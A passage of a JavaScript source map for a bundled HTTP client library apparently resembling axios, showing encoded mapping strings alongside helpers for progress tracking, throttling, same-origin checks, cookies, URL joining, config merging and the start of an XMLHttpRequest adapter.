Q,CAACS,MAAM,GAAG,GAAG,CAAC,GAAG,CAAC,CAAC,EAChGT,QAAQ,CAACF,MAAM,EACfE,QAAQ,CAACD,OAAO,EAChBC,QACF,CAAC,CAAC,CAAA;EACJ,GAAA;EACF;;ECxBe,SAAS+N,aAAaA,CAAClK,GAAG,EAAE;EACzC,EAAA,IAAMP,KAAK,GAAG,2BAA2B,CAAClH,IAAI,CAACyH,GAAG,CAAC,CAAA;EACnD,EAAA,OAAOP,KAAK,IAAIA,KAAK,CAAC,CAAC,CAAC,IAAI,EAAE,CAAA;EAChC;;ECHA;EACA;EACA;EACA;EACA;EACA;EACA,SAAS0K,WAAWA,CAACC,YAAY,EAAEC,GAAG,EAAE;IACtCD,YAAY,GAAGA,YAAY,IAAI,EAAE,CAAA;EACjC,EAAA,IAAME,KAAK,GAAG,IAAI3Y,KAAK,CAACyY,YAAY,CAAC,CAAA;EACrC,EAAA,IAAMG,UAAU,GAAG,IAAI5Y,KAAK,CAACyY,YAAY,CAAC,CAAA;IAC1C,IAAII,IAAI,GAAG,CAAC,CAAA;IACZ,IAAIC,IAAI,GAAG,CAAC,CAAA;EACZ,EAAA,IAAIC,aAAa,CAAA;EAEjBL,EAAAA,GAAG,GAAGA,GAAG,KAAK7V,SAAS,GAAG6V,GAAG,GAAG,IAAI,CAAA;EAEpC,EAAA,OAAO,SAAS7R,IAAIA,CAACmS,WAAW,EAAE;EAChC,IAAA,IAAMC,GAAG,GAAGC,IAAI,CAACD,GAAG,EAAE,CAAA;EAEtB,IAAA,IAAME,SAAS,GAAGP,UAAU,CAACE,IAAI,CAAC,CAAA;MAElC,IAAI,CAACC,aAAa,EAAE;EAClBA,MAAAA,aAAa,GAAGE,GAAG,CAAA;EACrB,KAAA;EAEAN,IAAAA,KAAK,CAACE,IAAI,CAAC,GAAGG,WAAW,CAAA;EACzBJ,IAAAA,UAAU,CAACC,IAAI,CAAC,GAAGI,GAAG,CAAA;MAEtB,IAAIjW,CAAC,GAAG8V,IAAI,CAAA;MACZ,IAAIM,UAAU,GAAG,CAAC,CAAA;MAElB,OAAOpW,CAAC,KAAK6V,IAAI,EAAE;EACjBO,MAAAA,UAAU,IAAIT,KAAK,CAAC3V,CAAC,EAAE,CAAC,CAAA;QACxBA,CAAC,GAAGA,CAAC,GAAGyV,YAAY,CAAA;EACtB,KAAA;EAEAI,IAAAA,IAAI,GAAG,CAACA,IAAI,GAAG,CAAC,IAAIJ,YAAY,CAAA;MAEhC,IAAII,IAAI,KAAKC,IAAI,EAAE;EACjBA,MAAAA,IAAI,GAAG,CAACA,IAAI,GAAG,CAAC,IAAIL,YAAY,CAAA;EAClC,KAAA;EAEA,IAAA,IAAIQ,GAAG,GAAGF,aAAa,GAAGL,GAAG,EAAE;EAC7B,MAAA,OAAA;EACF,KAAA;EAEA,IAAA,IAAMW,MAAM,GAAGF,SAAS,IAAIF,GAAG,GAAGE,SAAS,CAAA;EAE3C,IAAA,OAAOE,MAAM,GAAG/P,IAAI,CAACgQ,KAAK,CAACF,UAAU,GAAG,IAAI,GAAGC,MAAM,CAAC,GAAGxW,SAAS,CAAA;KACnE,CAAA;EACH;;EClDA;EACA;EACA;EACA;EACA;EACA;EACA,SAAS0W,QAAQA,CAAC7a,EAAE,EAAE8a,IAAI,EAAE;IAC1B,IAAIC,SAAS,GAAG,CAAC,CAAA;EACjB,EAAA,IAAMC,SAAS,GAAG,IAAI,GAAGF,IAAI,CAAA;IAC7B,IAAIG,KAAK,GAAG,IAAI,CAAA;IAChB,OAAO,SAASC,SAASA,GAAG;MAAA,IAAAC,UAAA,GAAA/a,SAAA,CAAA;EAC1B,IAAA,IAAMgb,KAAK,GAAG,IAAI,KAAK,IAAI,CAAA;EAE3B,IAAA,IAAMb,GAAG,GAAGC,IAAI,CAACD,GAAG,EAAE,CAAA;EACtB,IAAA,IAAIa,KAAK,IAAIb,GAAG,GAAGQ,SAAS,GAAGC,SAAS,EAAE;EACxC,MAAA,IAAIC,KAAK,EAAE;UACTI,YAAY,CAACJ,KAAK,CAAC,CAAA;EACnBA,QAAAA,KAAK,GAAG,IAAI,CAAA;EACd,OAAA;EACAF,MAAAA,SAAS,GAAGR,GAAG,CAAA;EACf,MAAA,OAAOva,EAAE,CAACG,KAAK,CAAC,IAAI,EAAEC,SAAS,CAAC,CAAA;EAClC,KAAA;MACA,IAAI,CAAC6a,KAAK,EAAE;QACVA,KAAK,GAAGK,UAAU,CAAC,YAAM;EACvBL,QAAAA,KAAK,GAAG,IAAI,CAAA;EACZF,QAAAA,SAAS,GAAGP,IAAI,CAACD,GAAG,EAAE,CAAA;EACtB,QAAA,OAAOva,EAAE,CAACG,KAAK,CAAC,IAAI,EAAEC,UAAS,CAAC,CAAA;EAClC,OAAC,EAAE4a,SAAS,IAAIT,GAAG,GAAGQ,SAAS,CAAC,CAAC,CAAA;EACnC,KAAA;KACD,CAAA;EACH;;AC7BA,6BAAA,CAAe,UAACQ,QAAQ,EAAEC,gBAAgB,EAAe;EAAA,EAAA,IAAbV,IAAI,GAAA1a,SAAA,CAAA8D,MAAA,GAAA,CAAA,IAAA9D,SAAA,CAAA,CAAA,CAAA,KAAA+D,SAAA,GAAA/D,SAAA,CAAA,CAAA,CAAA,GAAG,CAAC,CAAA;IAClD,IAAIqb,aAAa,GAAG,CAAC,CAAA;EACrB,EAAA,IAAMC,YAAY,GAAG5B,WAAW,CAAC,EAAE,EAAE,GAAG,CAAC,CAAA;EAEzC,EAAA,OAAOe,QAAQ,CAAC,UAAA5H,CAAC,EAAI;EACnB,IAAA,IAAM0I,MAAM,GAAG1I,CAAC,CAAC0I,MAAM,CAAA;MACvB,IAAMC,KAAK,GAAG3I,CAAC,CAAC4I,gBAAgB,GAAG5I,CAAC,CAAC2I,KAAK,GAAGzX,SAAS,CAAA;EACtD,IAAA,IAAM2X,aAAa,GAAGH,MAAM,GAAGF,aAAa,CAAA;EAC5C,IAAA,IAAMM,IAAI,GAAGL,YAAY,CAACI,aAAa,CAAC,CAAA;EACxC,IAAA,IAAME,OAAO,GAAGL,MAAM,IAAIC,KAAK,CAAA;EAE/BH,IAAAA,aAAa,GAAGE,MAAM,CAAA;EAEtB,IAAA,IAAMxJ,IAAI,GAAG;EACXwJ,MAAAA,MAAM,EAANA,MAAM;EACNC,MAAAA,KAAK,EAALA,KAAK;EACLK,MAAAA,QAAQ,EAAEL,KAAK,GAAID,MAAM,GAAGC,KAAK,GAAIzX,SAAS;EAC9C8V,MAAAA,KAAK,EAAE6B,aAAa;EACpBC,MAAAA,IAAI,EAAEA,IAAI,GAAGA,IAAI,GAAG5X,SAAS;EAC7B+X,MAAAA,SAAS,EAAEH,IAAI,IAAIH,KAAK,IAAII,OAAO,GAAG,CAACJ,KAAK,GAAGD,MAAM,IAAII,IAAI,GAAG5X,SAAS;EACzEgY,MAAAA,KAAK,EAAElJ,CAAC;QACR4I,gBAAgB,EAAED,KAAK,IAAI,IAAA;OAC5B,CAAA;MAEDzJ,IAAI,CAACqJ,gBAAgB,GAAG,UAAU,GAAG,QAAQ,CAAC,GAAG,IAAI,CAAA;MAErDD,QAAQ,CAACpJ,IAAI,CAAC,CAAA;KACf,EAAE2I,IAAI,CAAC,CAAA;EACV,CAAC;;AC1BD,wBAAe7I,QAAQ,CAACV,qBAAqB;EAE7C;EACA;EACG,SAAS6K,kBAAkBA,GAAG;IAC7B,IAAMC,IAAI,GAAG,iBAAiB,CAAC5O,IAAI,CAACgE,SAAS,CAAC6K,SAAS,CAAC,CAAA;EACxD,EAAA,IAAMC,cAAc,GAAGjL,QAAQ,CAACkL,aAAa,CAAC,GAAG,CAAC,CAAA;EAClD,EAAA,IAAIC,SAAS,CAAA;;EAEb;EACJ;EACA;EACA;EACA;EACA;IACI,SAASC,UAAUA,CAAC/M,GAAG,EAAE;MACvB,IAAIoC,IAAI,GAAGpC,GAAG,CAAA;EAEd,IAAA,IAAI0M,IAAI,EAAE;EACR;EACAE,MAAAA,cAAc,CAACI,YAAY,CAAC,MAAM,EAAE5K,IAAI,CAAC,CAAA;QACzCA,IAAI,GAAGwK,cAAc,CAACxK,IAAI,CAAA;EAC5B,KAAA;EAEAwK,IAAAA,cAAc,CAACI,YAAY,CAAC,MAAM,EAAE5K,IAAI,CAAC,CAAA;;EAEzC;MACA,OAAO;QACLA,IAAI,EAAEwK,cAAc,CAACxK,IAAI;EACzB6K,MAAAA,QAAQ,EAAEL,cAAc,CAACK,QAAQ,GAAGL,cAAc,CAACK,QAAQ,CAAC9Y,OAAO,CAAC,IAAI,EAAE,EAAE,CAAC,GAAG,EAAE;QAClF+Y,IAAI,EAAEN,cAAc,CAACM,IAAI;EACzBC,MAAAA,MAAM,EAAEP,cAAc,CAACO,MAAM,GAAGP,cAAc,CAACO,MAAM,CAAChZ,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,GAAG,EAAE;EAC7EiZ,MAAAA,IAAI,EAAER,cAAc,CAACQ,IAAI,GAAGR,cAAc,CAACQ,IAAI,CAACjZ,OAAO,CAAC,IAAI,EAAE,EAAE,CAAC,GAAG,EAAE;QACtEkZ,QAAQ,EAAET,cAAc,CAACS,QAAQ;QACjCC,IAAI,EAAEV,cAAc,CAACU,IAAI;EACzBC,MAAAA,QAAQ,EAAGX,cAAc,CAACW,QAAQ,CAACC,MAAM,CAAC,CAAC,CAAC,KAAK,GAAG,GAClDZ,cAAc,CAACW,QAAQ,GACvB,GAAG,GAAGX,cAAc,CAACW,QAAAA;OACxB,CAAA;EACH,GAAA;IAEAT,SAAS,GAAGC,UAAU,CAACzX,MAAM,CAAC6M,QAAQ,CAACC,IAAI,CAAC,CAAA;;EAE5C;EACJ;EACA;EACA;EACA;EACA;EACI,EAAA,OAAO,SAASqL,eAAeA,CAACC,UAAU,EAAE;EAC1C,IAAA,IAAMtI,MAAM,GAAI/I,OAAK,CAAC9J,QAAQ,CAACmb,UAAU,CAAC,GAAIX,UAAU,CAACW,UAAU,CAAC,GAAGA,UAAU,CAAA;EACjF,IAAA,OAAQtI,MAAM,CAAC6H,QAAQ,KAAKH,SAAS,CAACG,QAAQ,IAC1C7H,MAAM,CAAC8H,IAAI,KAAKJ,SAAS,CAACI,IAAI,CAAA;KACnC,CAAA;EACH,CAAC,EAAG;EAEJ;EACC,SAASS,qBAAqBA,GAAG;IAChC,OAAO,SAASF,eAAeA,GAAG;EAChC,IAAA,OAAO,IAAI,CAAA;KACZ,CAAA;EACH,CAAC,EAAG;;AC/DN,gBAAenL,QAAQ,CAACV,qBAAqB;EAE3C;EACA;EACEgM,EAAAA,KAAK,EAAAA,SAAAA,KAAAA,CAACpU,IAAI,EAAE7C,KAAK,EAAEkX,OAAO,EAAExQ,IAAI,EAAEyQ,MAAM,EAAEC,MAAM,EAAE;MAChD,IAAMC,MAAM,GAAG,CAACxU,IAAI,GAAG,GAAG,GAAGgG,kBAAkB,CAAC7I,KAAK,CAAC,CAAC,CAAA;MAEvD0F,OAAK,CAAC7J,QAAQ,CAACqb,OAAO,CAAC,IAAIG,MAAM,CAACxV,IAAI,CAAC,UAAU,GAAG,IAAIqS,IAAI,CAACgD,OAAO,CAAC,CAACI,WAAW,EAAE,CAAC,CAAA;EAEpF5R,IAAAA,OAAK,CAAC9J,QAAQ,CAAC8K,IAAI,CAAC,IAAI2Q,MAAM,CAACxV,IAAI,CAAC,OAAO,GAAG6E,IAAI,CAAC,CAAA;EAEnDhB,IAAAA,OAAK,CAAC9J,QAAQ,CAACub,MAAM,CAAC,IAAIE,MAAM,CAACxV,IAAI,CAAC,SAAS,GAAGsV,MAAM,CAAC,CAAA;MAEzDC,MAAM,KAAK,IAAI,IAAIC,MAAM,CAACxV,IAAI,CAAC,QAAQ,CAAC,CAAA;MAExCmJ,QAAQ,CAACqM,MAAM,GAAGA,MAAM,CAACtQ,IAAI,CAAC,IAAI,CAAC,CAAA;KACpC;IAEDwQ,IAAI,EAAA,SAAAA,IAAC1U,CAAAA,IAAI,EAAE;EACT,IAAA,IAAMiG,KAAK,GAAGkC,QAAQ,CAACqM,MAAM,CAACvO,KAAK,CAAC,IAAI0O,MAAM,CAAC,YAAY,GAAG3U,IAAI,GAAG,WAAW,CAAC,CAAC,CAAA;MAClF,OAAQiG,KAAK,GAAG2O,kBAAkB,CAAC3O,KAAK,CAAC,CAAC,CAAC,CAAC,GAAG,IAAI,CAAA;KACpD;IAED4O,MAAM,EAAA,SAAAA,MAAC7U,CAAAA,IAAI,EAAE;EACX,IAAA,IAAI,CAACoU,KAAK,CAACpU,IAAI,EAAE,EAAE,EAAEqR,IAAI,CAACD,GAAG,EAAE,GAAG,QAAQ,CAAC,CAAA;EAC7C,GAAA;EACF,CAAC;EAID;EACA;EACEgD,EAAAA,KAAK,EAAAA,SAAAA,KAAAA,GAAG,EAAE;IACVM,IAAI,EAAA,SAAAA,OAAG;EACL,IAAA,OAAO,IAAI,CAAA;KACZ;IACDG,MAAM,EAAA,SAAAA,MAAA,GAAG,EAAC;EACZ,CAAC;;ECtCH;EACA;EACA;EACA;EACA;EACA;EACA;EACe,SAASC,aAAaA,CAACtO,GAAG,EAAE;EACzC;EACA;EACA;EACA,EAAA,OAAO,6BAA6B,CAAClC,IAAI,CAACkC,GAAG,CAAC,CAAA;EAChD;;ECZA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACe,SAASuO,WAAWA,CAACC,OAAO,EAAEC,WAAW,EAAE;IACxD,OAAOA,WAAW,GACdD,OAAO,CAACra,OAAO,CAAC,QAAQ,EAAE,EAAE,CAAC,GAAG,GAAG,GAAGsa,WAAW,CAACta,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,GACrEqa,OAAO,CAAA;EACb;;ECTA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACe,SAASE,aAAaA,CAACF,OAAO,EAAEG,YAAY,EAAE;EAC3D,EAAA,IAAIH,OAAO,IAAI,CAACF,aAAa,CAACK,YAAY,CAAC,EAAE;EAC3C,IAAA,OAAOJ,WAAW,CAACC,OAAO,EAAEG,YAAY,CAAC,CAAA;EAC3C,GAAA;EACA,EAAA,OAAOA,YAAY,CAAA;EACrB;;ECfA,IAAMC,eAAe,GAAG,SAAlBA,eAAeA,CAAI5d,KAAK,EAAA;IAAA,OAAKA,KAAK,YAAY2V,cAAY,GAAAtE,cAAA,CAAQrR,EAAAA,EAAAA,KAAK,IAAKA,KAAK,CAAA;EAAA,CAAA,CAAA;;EAEvF;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACe,SAAS6d,WAAWA,CAACC,OAAO,EAAEC,OAAO,EAAE;EACpD;EACAA,EAAAA,OAAO,GAAGA,OAAO,IAAI,EAAE,CAAA;IACvB,IAAM9S,MAAM,GAAG,EAAE,CAAA;EAEjB,EAAA,SAAS+S,cAAcA,CAACxT,MAAM,EAAED,MAAM,EAAE3F,QAAQ,EAAE;EAChD,IAAA,IAAIyG,OAAK,CAAC1J,aAAa,CAAC6I,MAAM,CAAC,IAAIa,OAAK,CAAC1J,aAAa,CAAC4I,MAAM,CAAC,EAAE;EAC9D,MAAA,OAAOc,OAAK,CAAC3G,KAAK,CAACxE,IAAI,CAAC;EAAC0E,QAAAA,QAAQ,EAARA,QAAAA;EAAQ,OAAC,EAAE4F,MAAM,EAAED,MAAM,CAAC,CAAA;OACpD,MAAM,IAAIc,OAAK,CAAC1J,aAAa,CAAC4I,MAAM,CAAC,EAAE;QACtC,OAAOc,OAAK,CAAC3G,KAAK,CAAC,EAAE,EAAE6F,MAAM,CAAC,CAAA;OAC/B,MAAM,IAAIc,OAAK,CAAC3K,OAAO,CAAC6J,MAAM,CAAC,EAAE;EAChC,MAAA,OAAOA,MAAM,CAACpK,KAAK,EAAE,CAAA;EACvB,KAAA;EACA,IAAA,OAAOoK,MAAM,CAAA;EACf,GAAA;;EAEA;EACA,EAAA,SAAS0T,mBAAmBA,CAACjZ,CAAC,EAAEC,CAAC,EAAEL,QAAQ,EAAE;EAC3C,IAAA,IAAI,CAACyG,OAAK,CAACzK,WAAW,CAACqE,CAAC,CAAC,EAAE;EACzB,MAAA,OAAO+Y,cAAc,CAAChZ,CAAC,EAAEC,CAAC,EAAEL,QAAQ,CAAC,CAAA;OACtC,MAAM,IAAI,CAACyG,OAAK,CAACzK,WAAW,CAACoE,CAAC,CAAC,EAAE;EAChC,MAAA,OAAOgZ,cAAc,CAACxa,SAAS,EAAEwB,CAAC,EAAEJ,QAAQ,CAAC,CAAA;EAC/C,KAAA;EACF,GAAA;;EAEA;EACA,EAAA,SAASsZ,gBAAgBA,CAAClZ,CAAC,EAAEC,CAAC,EAAE;EAC9B,IAAA,IAAI,CAACoG,OAAK,CAACzK,WAAW,CAACqE,CAAC,CAAC,EAAE;EACzB,MAAA,OAAO+Y,cAAc,CAACxa,SAAS,EAAEyB,CAAC,CAAC,CAAA;EACrC,KAAA;EACF,GAAA;;EAEA;EACA,EAAA,SAASkZ,gBAAgBA,CAACnZ,CAAC,EAAEC,CAAC,EAAE;EAC9B,IAAA,IAAI,CAACoG,OAAK,CAACzK,WAAW,CAACqE,CAAC,CAAC,EAAE;EACzB,MAAA,OAAO+Y,cAAc,CAACxa,SAAS,EAAEyB,CAAC,CAAC,CAAA;OACpC,MAAM,IAAI,CAACoG,OAAK,CAACzK,WAAW,CAACoE,CAAC,CAAC,EAAE;EAChC,MAAA,OAAOgZ,cAAc,CAACxa,SAAS,EAAEwB,CAAC,CAAC,CAAA;EACrC,KAAA;EACF,GAAA;;EAEA;EACA,EAAA,SAASoZ,eAAeA,CAACpZ,CAAC,EAAEC,CAAC,EAAEiB,IAAI,EAAE;MACnC,IAAIA,IAAI,IAAI6X,OAAO,EAAE;EACnB,MAAA,OAAOC,cAAc,CAAChZ,CAAC,EAAEC,CAAC,CAAC,CAAA;EAC7B,KAAC,MAAM,IAAIiB,IAAI,IAAI4X,OAAO,EAAE;EAC1B,MAAA,OAAOE,cAAc,CAACxa,SAAS,EAAEwB,CAAC,CAAC,CAAA;EACrC,KAAA;EACF,GAAA;EAEA,EAAA,IAAMqZ,QAAQ,GAAG;EACfrP,IAAAA,GAAG,EAAEkP,gBAAgB;EACrBjK,IAAAA,MAAM,EAAEiK,gBAAgB;EACxB1M,IAAAA,IAAI,EAAE0M,gBAAgB;EACtBV,IAAAA,OAAO,EAAEW,gBAAgB;EACzBxL,IAAAA,gBAAgB,EAAEwL,gBAAgB;EAClC9K,IAAAA,iBAAiB,EAAE8K,gBAAgB;EACnCG,IAAAA,gBAAgB,EAAEH,gBAAgB;EAClCzK,IAAAA,OAAO,EAAEyK,gBAAgB;EACzBI,IAAAA,cAAc,EAAEJ,gBAAgB;EAChCK,IAAAA,eAAe,EAAEL,gBAAgB;EACjCM,IAAAA,aAAa,EAAEN,gBAAgB;EAC/BzL,IAAAA,OAAO,EAAEyL,gBAAgB;EACzB5K,IAAAA,YAAY,EAAE4K,gBAAgB;EAC9BxK,IAAAA,cAAc,EAAEwK,gBAAgB;EAChCvK,IAAAA,cAAc,EAAEuK,gBAAgB;EAChCO,IAAAA,gBAAgB,EAAEP,gBAAgB;EAClCQ,IAAAA,kBAAkB,EAAER,gBAAgB;EACpCS,IAAAA,UAAU,EAAET,gBAAgB;EAC5BtK,IAAAA,gBAAgB,EAAEsK,gBAAgB;EAClCrK,IAAAA,aAAa,EAAEqK,gBAAgB;EAC/BU,IAAAA,cAAc,EAAEV,gBAAgB;EAChCW,IAAAA,SAAS,EAAEX,gBAAgB;EAC3BY,IAAAA,SAAS,EAAEZ,gBAAgB;EAC3Ba,IAAAA,UAAU,EAAEb,gBAAgB;EAC5Bc,IAAAA,WAAW,EAAEd,gBAAgB;EAC7Be,IAAAA,UAAU,EAAEf,gBAAgB;EAC5BgB,IAAAA,gBAAgB,EAAEhB,gBAAgB;EAClCpK,IAAAA,cAAc,EAAEqK,eAAe;EAC/BxL,IAAAA,OAAO,EAAE,SAAAA,OAAC5N,CAAAA,CAAC,EAAEC,CAAC,EAAA;EAAA,MAAA,OAAKgZ,mBAAmB,CAACL,eAAe,CAAC5Y,CAAC,CAAC,EAAE4Y,eAAe,CAAC3Y,CAAC,CAAC,EAAE,IAAI,CAAC,CAAA;EAAA,KAAA;KACrF,CAAA;IAEDoG,OAAK,CAACjI,OAAO,CAACzD,MAAM,CAACkE,IAAI,CAAClE,MAAM,CAACiG,MAAM,CAAC,EAAE,EAAEkY,OAAO,EAAEC,OAAO,CAAC,CAAC,EAAE,SAASqB,kBAAkBA,CAAClZ,IAAI,EAAE;EAChG,IAAA,IAAMxB,KAAK,GAAG2Z,QAAQ,CAACnY,IAAI,CAAC,IAAI+X,mBAAmB,CAAA;EACnD,IAAA,IAAMoB,WAAW,GAAG3a,KAAK,CAACoZ,OAAO,CAAC5X,IAAI,CAAC,EAAE6X,OAAO,CAAC7X,IAAI,CAAC,EAAEA,IAAI,CAAC,CAAA;EAC5DmF,IAAAA,OAAK,CAACzK,WAAW,CAACye,WAAW,CAAC,IAAI3a,KAAK,KAAK0Z,eAAe,KAAMnT,MAAM,CAAC/E,IAAI,CAAC,GAAGmZ,WAAW,CAAC,CAAA;EAC/F,GAAC,CAAC,CAAA;EAEF,EAAA,OAAOpU,MAAM,CAAA;EACf;;AChGA,sBAAe,CAAA,UAACA,MAAM,EAAK;IACzB,IAAMqU,SAAS,GAAGzB,WAAW,CAAC,EAAE,EAAE5S,MAAM,CAAC,CAAA;EAEzC,EAAA,IAAKuG,IAAI,GAAkE8N,SAAS,CAA/E9N,IAAI;MAAEiN,aAAa,GAAmDa,SAAS,CAAzEb,aAAa;MAAE7K,cAAc,GAAmC0L,SAAS,CAA1D1L,cAAc;MAAED,cAAc,GAAmB2L,SAAS,CAA1C3L,cAAc;MAAEf,OAAO,GAAU0M,SAAS,CAA1B1M,OAAO;MAAE2M,IAAI,GAAID,SAAS,CAAjBC,IAAI,CAAA;IAEvED,SAAS,CAAC1M,OAAO,GAAGA,OAAO,GAAG+C,cAAY,CAAC9J,IAAI,CAAC+G,OAAO,CAAC,CAAA;IAExD0M,SAAS,CAACtQ,GAAG,GAAGD,QAAQ,CAAC2O,aAAa,CAAC4B,SAAS,CAAC9B,OAAO,EAAE8B,SAAS,CAACtQ,GAAG,CAAC,EAAE/D,MAAM,CAAC0D,MAAM,EAAE1D,MAAM,CAACqT,gBAAgB,CAAC,CAAA;;EAEjH;EACA,EAAA,IAAIiB,IAAI,EAAE;EACR3M,IAAAA,OAAO,CAAC9J,GAAG,CAAC,eAAe,EAAE,QAAQ,GACnC0W,IAAI,CAAC,CAACD,IAAI,CAACE,QAAQ,IAAI,EAAE,IAAI,GAAG,IAAIF,IAAI,CAACG,QAAQ,GAAGC,QAAQ,CAACnR,kBAAkB,CAAC+Q,IAAI,CAACG,QAAQ,CAAC,CAAC,GAAG,EAAE,CAAC,CACvG,CAAC,CAAA;EACH,GAAA;EAEA,EAAA,IAAI7M,WAAW,CAAA;EAEf,EAAA,IAAIxH,OAAK,CAAChJ,UAAU,CAACmP,IAAI,CAAC,EAAE;EAC1B,IAAA,IAAIF,QAAQ,CAACV,qBAAqB,IAAIU,QAAQ,CAACP,8BAA8B,EAAE;EAC7E6B,MAAAA,OAAO,CAACK,cAAc,CAACzP,SAAS,CAAC,CAAC;EACpC,KAAC,MAAM,IAAI,CAACqP,WAAW,GAAGD,OAAO,CAACE,cAAc,EAAE,MAAM,KAAK,EAAE;EAC7D;EACA,MAAA,IAAAxP,IAAA,GAA0BuP,WAAW,GAAGA,WAAW,CAACzJ,KAAK,CAAC,GAAG,CAAC,CAACzG,GAAG,CAAC,UAAA8J,KAAK,EAAA;EAAA,UAAA,OAAIA,KAAK,CAACvJ,IAAI,EAAE,CAAA;EAAA,SAAA,CAAC,CAAC8C,MAAM,CAAC4Z,OAAO,CAAC,GAAG,EAAE;UAAAjb,KAAA,GAAAkb,QAAA,CAAAvc,IAAA,CAAA;EAAvG/C,QAAAA,IAAI,GAAAoE,KAAA,CAAA,CAAA,CAAA;UAAKiQ,MAAM,GAAAjQ,KAAA,CAAAxE,KAAA,CAAA,CAAA,CAAA,CAAA;EACtByS,MAAAA,OAAO,CAACK,cAAc,CAAC,CAAC1S,IAAI,IAAI,qBAAqB,CAAAgM,CAAAA,MAAA,CAAAuT,kBAAA,CAAKlL,MAAM,CAAA,CAAA,CAAElI,IAAI,CAAC,IAAI,CAAC,CAAC,CAAA;EAC/E,KAAA;EACF,GAAA;;EAEA;EACA;EACA;;IAEA,IAAI4E,QAAQ,CAACV,qBAAqB,EAAE;EAClC6N,IAAAA,aAAa,IAAIpT,OAAK,CAACrK,UAAU,CAACyd,aAAa,CAAC,KAAKA,aAAa,GAAGA,aAAa,CAACa,SAAS,CAAC,CAAC,CAAA;EAE9F,IAAA,IAAIb,aAAa,IAAKA,aAAa,KAAK,KAAK,IAAIhC,eAAe,CAAC6C,SAAS,CAACtQ,GAAG,CAAE,EAAE;EAChF;QACA,IAAM+Q,SAAS,GAAGnM,cAAc,IAAID,cAAc,IAAIqM,OAAO,CAAC9C,IAAI,CAACvJ,cAAc,CAAC,CAAA;EAElF,MAAA,IAAIoM,SAAS,EAAE;EACbnN,QAAAA,OAAO,CAAC9J,GAAG,CAAC8K,cAAc,EAAEmM,SAAS,CAAC,CAAA;EACxC,OAAA;EACF,KAAA;EACF,GAAA;EAEA,EAAA,OAAOT,SAAS,CAAA;EAClB,CAAC;;EC5CD,IAAMW,qBAAqB,GAAG,OAAOC,cAAc,KAAK,WAAW,CAAA;AAEnE,mBAAeD,qBAAqB,IAAI,UAAUhV,MAAM,EAAE;IACxD,OAAO,IAAIkV,OAAO,CAAC,SAASC,kBAAkBA,CAACtH,OAAO,EAAEC,MAAM,EAAE;EAC9D,IAAA,IAAMsH,OAAO,GAAGC,aAAa,CAACrV,MAAM,CAAC,CAAA;EACrC,IAAA,IAAIsV,WAAW,GAAGF,OAAO,CAAC7O,IAAI,CAAA;EAC9B,IAAA,IAAMgP,cAAc,GAAG7K,cAAY,CAAC9J,IAAI,CAACwU,OAAO,CAACzN,OAAO,CAAC,CAACyE,SAAS,EAAE,CAAA;EACrE,IAAA,IAAK9D,YAAY,GAAI8M,OAAO,CAAvB9M,YAAY,CAAA;EACjB,IAAA,IAAIkN,UAAU,CAAA;MACd,SAASvZ,IAAIA,GAAG;QACd,IAAImZ,OAAO,CAACpB,WAAW,EAAE;EACvBoB,QAAAA,OAAO,CAACpB,WAAW,CAACyB,WAAW,CAACD,UAAU,CAAC,CAAA;EAC7C,OAAA;QAEA,IAAIJ,OAAO,CAACM,MAAM,EAAE;UAClBN,OAAO,CAACM,MAAM,CAACC,mBAAmB,CAAC,OAAO,EAAEH,UAAU,CAAC,CAAA;EACzD,OAAA;EACF,KAAA;EAEA,IAAA,IAAIvV,OAAO,GAAG,IAAIgV,cAAc,EAAE,CAAA;EAElChV,IAAAA,OAAO,CAAC2V,IAAI,CAACR,OAAO,CAACpM,MAAM,CAAClM,WAAW,EAAE,EAAEsY,OAAO,CAACrR,GAAG,EAAE,IAAI,CAAC,CAAA;;EAE7D;EACA9D,IAAAA,OAAO,CAACwI,OAAO,GAAG2M,OAAO,CAAC3M,OAAO,CAAA;MAEjC,SAASoN,SAASA,GAAG;QACnB,IAAI,CAAC5V,OAAO,EAAE;EACZ,QAAA,OAAA;EACF,OAAA;EACA;EACA,MAAA,IAAM6V,eAAe,GAAGpL,cAAY,CAAC9J,IAAI,CACvC,uBAAuB,IAAIX,OAAO,IAAIA,OAAO,CAAC8V,qBAAqB,EACrE,CAAC,CAAA;EACD,MAAA,IAAMC,YAAY,GAAG,CAAC1N,YAAY,IAAIA,YAAY,KAAK,MAAM,IAAIA,YAAY,KAAK,MAAM,GACtFrI,OAAO,CAACgW,YAAY,GAAGhW,OAAO,CAACC,QAAQ,CAAA;EACzC,MAAA,IAAMA,QAAQ,GAAG;EACfqG,QAAAA,IAAI,EAAEyP,YAAY;UAClBrV,MAAM,EAAEV,OAAO,CAACU,MAAM;UACtBuV,UAAU,EAAEjW,OAAO,CAACiW,UAAU;EAC9BvO,QAAAA,OAAO,EAAEmO,eAAe;EACxB9V,QAAAA,MAAM,EAANA,MAAM;EACNC,QAAAA,OAAO,EAAPA,OAAAA;SACD,CAAA;EAED2N,MAAAA,MAAM,CAAC,SAASuI,QAAQA,CAACzb,KAAK,EAAE;UAC9BmT,OAAO,CAACnT,KAAK,CAAC,CAAA;EACduB,QAAAA,IAAI,EAAE,CAAA;EACR,OAAC,EAAE,SAASma,OAAOA,CAACxK,GAAG,EAAE;UACvBkC,MAAM,CAAClC,GAAG,CAAC,CAAA;EACX3P,QAAAA,IAAI,EAAE,CAAA;SACP,EAAEiE,QAAQ,CAAC,CAAA;;EAEZ;EACAD,MAAAA,OAAO,GAAG,IAAI,CAAA;EAChB,KAAA;MAEA,IAAI,WAAW,IAAIA,OAAO,EAAE;EAC1B;QACAA,OAAO,CAAC4V,SAAS,GAAGA,SAAS,CAAA;EAC/B,KAAC,MAAM;EACL;EACA5V,MAAAA,OAAO,CAACoW,kBAAkB,GAAG,SAASC,UAAUA,GAAG;UACjD,IAAI,CAACrW,OAAO,IAAIA,OAAO,CAACsW,UAAU,KAAK,CAAC,EAAE;EACxC,UAAA,OAAA;EACF,SAAA;;EAEA;EACA;EACA;EACA;UACA,IAAItW,OAAO,CAACU,MAAM,KAAK,CAAC,IAAI,EAAEV,OAAO,CAACuW,WAAW,IAAIvW,OAAO,CAACuW,WAAW,CAAChb,OAAO,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,EAAE;EAChG,UAAA,OAAA;EACF,SAAA;EACA;EACA;UACAkU,UAAU,CAACmG,SAAS,CAAC,CAAA;SACtB,CAAA;EACH,